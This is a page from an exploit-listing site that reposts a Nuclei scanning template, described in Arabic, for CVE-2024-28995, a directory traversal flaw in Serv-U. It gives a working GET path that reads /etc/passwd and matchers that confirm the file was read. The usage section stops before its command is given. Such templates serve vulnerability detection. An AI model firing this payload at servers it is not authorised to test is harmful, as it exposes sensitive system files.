Sploitus

Exploit for CVE-2024-28995-Nuclei-Template

kitploit · 2026-09-06

Exploit Code

MARKDOWN51 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HUSEYINSTIF-CVE-2024-28995-NUCLEI-TEMPLATE
# قالب Nuclei لـ CVE-2024-28995

يتحقق من ثغرة اجتياز الدليل في إصدارات Serv-U 15.4.2 وما دون، والتي تسمح بقراءة الملفات الحساسة مثل /etc/passwd.

## تفاصيل القالب

root@kitploit:~
    
    
    id: CVE-2024-28995
    
    info:
      name: Serv-U Directory Traversal Vulnerability
      author: Hüseyin TINTAŞ
      severity: high
      description: Checks for directory traversal vulnerability in Serv-U versions 15.4.2 and below, which allows reading sensitive files like /etc/passwd.
      reference:
        - https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis
      tags: pathtraversal,cve,high,serv-u
    
    requests:
      - method: GET
        path:
          - "{{BaseURL}}/?InternalDir=\\..\\..\\..\\..\\etc^&InternalFile=passwd"
    
        matchers-condition: and
        matchers:
          - type: word
            words:
              - "root:x:"
              - "daemon:x:"
              - "bin:x:"
            part: body
    
          - type: status
            status:
              - 200
    
          - type: word
            words:
              - "Server: Serv-U"
            part: header
    
    
    
    

## الاستخدام

لاستخدام هذا القالب مع Nuclei، احفظ محتوى القالب في ملف باسم  وقم بتشغيل الأمر التالي: